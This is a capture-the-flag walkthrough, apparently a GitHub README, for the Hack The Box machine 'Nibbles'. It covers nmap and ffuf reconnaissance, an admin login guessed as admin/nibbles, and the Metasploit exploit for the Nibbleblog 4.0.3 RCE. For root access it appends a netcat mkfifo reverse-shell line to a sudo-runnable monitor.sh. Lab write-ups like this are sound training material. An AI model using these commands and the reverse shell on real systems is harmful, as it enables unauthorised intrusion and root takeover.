Skip to content

Latest commit

 

History

History
85 lines (45 loc) · 1.64 KB

README.md

File metadata and controls

85 lines (45 loc) · 1.64 KB
nmap -p22,80 -sC -sV 10.10.10.75

Alt text

On source code of web page (Ctrl+U) Alt text

Let's do directory brute-force

ffuf -u http://10.10.10.75/nibbleblog/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Alt text

Now, let's analyze this directoies, look for what we find.

I see that there is 'nibbleblog/admin.php' , let's login to here trying with username and password.

username:admin password: nibbles

Alt text

On plugins section, I add my php file into here. (My image section and configure) Alt text

On README (/nibbleblog/README) page of web application I see that, Nibbleblog v4.0.3 version is used, we have RCE for this version

Alt text

Let's use this by msfconsole.

Alt text

And add required fields by showing (show options) and set fields due to my username,password,rhosts,targeturi

Alt text

user.txt

Alt text

While, looking at the permissions of nibbler user.

Alt text

I see that I can run monitor.sh file with root privileges (sudo)

Let's run below script to get normal shell.

python3 -c 'import pty; pty.spawn("/bin/bash")'

Then, I add my reverse shell into this file.

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.6 1337 >/tmp/f' | tee -a monitor.sh

Alt text

Run this script as root user.

Alt text

root.txt

Alt text